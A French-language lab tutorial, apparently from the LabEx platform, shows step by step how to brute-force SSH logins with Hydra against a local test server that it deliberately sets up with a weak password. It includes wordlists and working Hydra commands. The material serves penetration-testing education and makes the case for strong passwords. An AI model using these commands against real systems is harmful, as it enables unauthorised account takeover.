Attaque par force brute SSH avec Hydra

Introduction

Dans ce laboratoire (lab), vous apprendrez à effectuer des attaques de force brute contre les services SSH à l'aide de Hydra, un outil de craquage de mots de passe populaire en cybersécurité. L'exercice couvre l'installation de Hydra, la configuration d'un serveur cible avec des identifiants faibles et l'exécution d'attaques à l'aide de listes de mots préparées.

Vous aurez l'expérience pratique de la configuration d'un environnement de test SSH et de l'analyse des capacités de force brute de Hydra. Ce laboratoire (lab) illustre des scénarios d'attaque du monde réel tout en renforçant les principes du hacking éthique dans un environnement contrôlé.

Skills Graph

Installer Hydra

Dans cette étape, nous allons installer Hydra, un puissant outil de craquage de mots de passe utilisé pour les attaques de force brute contre divers services réseau. Hydra est particulièrement utile pour les tests de pénétration car il peut systématiquement tester différentes combinaisons de noms d'utilisateur et de mots de passe pour accéder à des systèmes sécurisés. Il prend en charge plusieurs protocoles, notamment SSH (que nous utiliserons dans ce laboratoire), FTP, HTTP, etc.

Tout d'abord, ouvrez le terminal dans votre environnement de machine virtuelle (VM) LabEx. Le terminal est votre interface principale pour exécuter des commandes sous Linux. Assurez-vous d'être dans le répertoire de travail par défaut où nous effectuerons tout notre travail de laboratoire :
```
cd ~/project
```
Avant d'installer tout nouveau logiciel, il est recommandé de mettre à jour la liste de vos paquets. Cela garantit que vous obtiendrez la dernière version disponible de Hydra et de toutes ses dépendances :
```
sudo apt update
```
Maintenant, nous allons installer Hydra en utilisant le gestionnaire de paquets apt, qui gère l'installation de logiciels sur les systèmes basés sur Debian comme Ubuntu. Le flag -y confirme automatiquement l'installation :
```
sudo apt install -y hydra
```
Après l'installation, vérifions que Hydra est correctement installé en vérifiant sa version. La commande head -n 1 affiche seulement la première ligne de la sortie, qui contient les informations de version :
```
hydra -h | head -n 1
```
Vous devriez voir une sortie similaire à :
```
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
```
Hydra propose également une version avec interface graphique pour ceux qui préfèrent les outils GUI. Bien que nous utiliserons la version en ligne de commande dans ce laboratoire, vous pouvez éventuellement installer la version GUI GTK+ avec :
```
sudo apt install -y hydra-gtk
```

Configurer un serveur SSH cible

Dans cette étape, nous allons configurer un serveur SSH local qui servira de cible pour le craquage de mots de passe dans les étapes suivantes. Cela nous permet de pratiquer les techniques de test de pénétration dans un environnement contrôlé. SSH (Secure Shell) est un protocole utilisé pour la connexion à distance sécurisée entre ordinateurs, et nous allons configurer une version vulnérable à des fins d'apprentissage.

Tout d'abord, assurez-vous d'être dans le répertoire de travail par défaut. Cela est important car nous voulons que tous nos fichiers de laboratoire soient organisés en un seul endroit :
```
cd ~/project
```
Installez le paquet du serveur OpenSSH. Ce logiciel transformera votre machine en un serveur SSH capable d'accepter des connexions à distance :
```
sudo apt install -y openssh-server
```
Créez un compte utilisateur de test dédié avec un mot de passe faible (à des fins de démonstration seulement). Dans les scénarios du monde réel, ce sont exactement les mots de passe faibles comme celui-ci que les attaquants recherchent :
```
sudo useradd -m testuser
echo "testuser:password123" | sudo chpasswd
```
Configurez SSH pour autoriser l'authentification par mot de passe (temporairement pour ce laboratoire). Par défaut, de nombreux systèmes désactivent l'authentification par mot de passe pour des raisons de sécurité, mais nous l'activons ici pour démontrer le fonctionnement des attaques de force brute :
```
sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
```
Redémarrez le service SSH pour appliquer les modifications. Les services ont souvent besoin d'être redémarrés après que les modifications de configuration prennent effet :
```
sudo service ssh restart
```
Vérifiez que le serveur SSH est en cours d'exécution. Cette commande vérifie si notre serveur SSH est correctement actif et en écoute pour les connexions :
```
sudo service ssh status
```
Vous devriez voir une sortie indiquant que le service est actif (en cours d'exécution). Sinon, il peut y avoir eu une erreur dans les étapes précédentes qui nécessite une résolution de problèmes.
Testez la connexion SSH localement. Ce dernier contrôle confirme que tout fonctionne avant de passer à la phase d'attaque :
```
ssh testuser@localhost -o StrictHostKeyChecking=no
```
Lorsque vous y êtes invité, entrez le mot de passe password123. Après une connexion réussie, tapez exit pour revenir à votre session principale. L'option -o StrictHostKeyChecking=no empêche SSH de vous demander de vérifier l'empreinte du serveur, ce qui est acceptable pour cet environnement de laboratoire.

Préparer une liste de noms d'utilisateur et de mots de passe

Dans cette étape, nous allons créer des fichiers texte contenant des noms d'utilisateur et des mots de passe potentiels que Hydra utilisera pour tenter l'authentification SSH. Ces fichiers sont essentiels pour les attaques de force brute basées sur un dictionnaire. Une attaque par dictionnaire fonctionne en testant systématiquement toutes les combinaisons possibles de noms d'utilisateur et de mots de passe à partir de listes prédéfinies, c'est pourquoi préparer de bonnes listes est crucial.

Tout d'abord, assurez-vous d'être dans le répertoire de travail par défaut. Cela permet de garder vos fichiers de projet organisés et facilite leur référence ultérieure :
```
cd ~/project
```
Créez un fichier de liste de noms d'utilisateur en utilisant l'éditeur de texte nano. Les noms d'utilisateur courants sont souvent testés en premier lors des attaques de force brute car de nombreux systèmes utilisent des noms d'utilisateur par défaut ou prévisibles :
```
nano usernames.txt
```
Ajoutez ces noms d'utilisateur courants (appuyez sur Ctrl+O pour enregistrer, puis Ctrl+X pour quitter) :
```
admin
root
testuser
user
guest
```
Créez un fichier de liste de mots de passe. Des mots de passe faibles comme ceux-ci sont fréquemment utilisés et sont souvent les premières cibles lors des tests de sécurité :
```
nano passwords.txt
```
Ajoutez ces mots de passe courants :
```
password
password123
123456
qwerty
letmein
```
Vérifiez que les fichiers ont été créés correctement en affichant leur contenu. Cette étape de confirmation garantit qu'il n'y a pas de fautes de frappe ou de problèmes de formatage dans vos listes :
```
cat usernames.txt
cat passwords.txt
```
Vous devriez voir les listes que vous avez créées affichées dans le terminal.
(Facultatif) Générez des variantes supplémentaires de mots de passe en utilisant crunch. Cet outil permet de créer des listes de mots de passe plus exhaustives en générant automatiquement des combinaisons basées sur des modèles spécifiés :
```
sudo apt install -y crunch
crunch 4 6 0123456789 -o num_passwords.txt
```
Cela crée des mots de passe numériques de 4 à 6 caractères de longueur. La commande spécifie la longueur minimale (4), la longueur maximale (6) et l'ensemble de caractères (chiffres de 0 à 9).

Exécuter Hydra contre SSH

Dans cette étape, nous allons utiliser Hydra pour effectuer une attaque de force brute contre notre serveur SSH local. La force brute est une méthode consistant à tester de nombreuses combinaisons de noms d'utilisateur et de mots de passe jusqu'à trouver la bonne. Nous allons utiliser les listes de mots que nous avons préparées précédemment pour automatiser ce processus.

Tout d'abord, accédez au répertoire du projet contenant vos listes de mots. Cela permet à Hydra de trouver les fichiers que nous avons créés :
```
cd ~/project
```
Maintenant, nous allons exécuter Hydra avec des paramètres spécifiques. La structure de la commande indique à Hydra quoi attaquer et comment. Décortiquons-la :
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -vV
```
Explication des paramètres :
- -L usernames.txt : Indique notre liste de noms d'utilisateur possibles
- -P passwords.txt : Spécifie notre fichier de dictionnaire de mots de passe
- ssh://localhost : Cible le service SSH sur cette machine
- -t 4 : Contrôle la vitesse en limitant à 4 tentatives simultanées
- -vV : Affiche les détails de la progression dans le terminal
Lorsque Hydra s'exécute, il affichera chaque tentative en temps réel. Lorsqu'il trouve des identifiants valides, ils apparaîtront clairement dans la sortie comme ceci :
```
[22][ssh] host: localhost   login: testuser   password: password123
```
(Facultatif) Pour conserver un enregistrement permanent des résultats, nous pouvons les enregistrer dans un fichier. Cela est utile pour la documentation ou une analyse plus approfondie :
```
hydra -L usernames.txt -P passwords.txt ssh://localhost -t 4 -o results.txt
```
Une fois le scan terminé, vous pouvez afficher les résultats enregistrés avec :
```
cat results.txt
```

Examiner les résultats de l'attaque

Dans cette étape, nous allons examiner attentivement la sortie de Hydra pour identifier quelles combinaisons de noms d'utilisateur et de mots de passe ont réussi dans notre attaque de force brute SSH. Comprendre ces résultats permet de démontrer comment les identifiants faibles peuvent être facilement exploités.

Tout d'abord, naviguons jusqu'à notre répertoire de travail où Hydra a stocké ses fichiers de sortie :
```
cd ~/project
```
Cela nous assure que nous sommes au bon endroit pour accéder à nos résultats.
Affichons le fichier de sortie brut de Hydra généré lors de l'attaque :
```
cat results.txt
```
Vous devriez voir une sortie similaire à celle-ci, montrant toutes les paires d'identifiants réussies :
```
[22][ssh] host: localhost   login: testuser   password: password123
```
Chaque ligne représente une tentative de connexion réussie avec les identifiants correspondants.
Pour avoir une vue d'ensemble de l'efficacité de l'attaque, vérifions les statistiques de synthèse :
```
grep "successfully completed" results.txt
```
Cette commande filtre seulement la ligne de synthèse qui montre le nombre total de tentatives effectuées et la durée de l'attaque.
Vérifions que ces identifiants fonctionnent réellement en tentant une connexion SSH :
```
ssh testuser@localhost -o StrictHostKeyChecking=no
```
Lorsque vous êtes invité, entrez le mot de passe password123. Après une connexion réussie, tapez exit pour revenir à votre terminal principal. Ce test pratique confirme que les identifiants sont valides.
Créons un rapport de sécurité simple documentant nos découvertes :
```
echo "Security Test Report" > report.txt
date >> report.txt
echo "Compromised Credentials:" >> report.txt
grep -A 2 "successfully completed" results.txt >> report.txt
```
Cela crée un document timestampé contenant les identifiants vulnérables et les statistiques de l'attaque.
Enfin, affichons le rapport de sécurité terminé :
```
cat report.txt
```
Cela vous donne une vue claire et organisée des vulnérabilités de sécurité découvertes lors du test.

Résumé

Dans ce laboratoire, vous avez appris à effectuer une attaque de force brute sur SSH en utilisant Hydra, un outil puissant de craquage de mots de passe. L'exercice a couvert l'installation de Hydra, la configuration d'un serveur SSH pour les tests et la création de listes ciblées de noms d'utilisateur et de mots de passe.

Vous avez pratiqué l'exécution d'attaques basées sur des dictionnaires et l'analyse des résultats, démontrant ainsi comment les identifiants faibles peuvent être exploités. Cette expérience pratique souligne la nécessité cruciale d'utiliser des mots de passe forts et des méthodes d'authentification sécurisées en cybersécurité.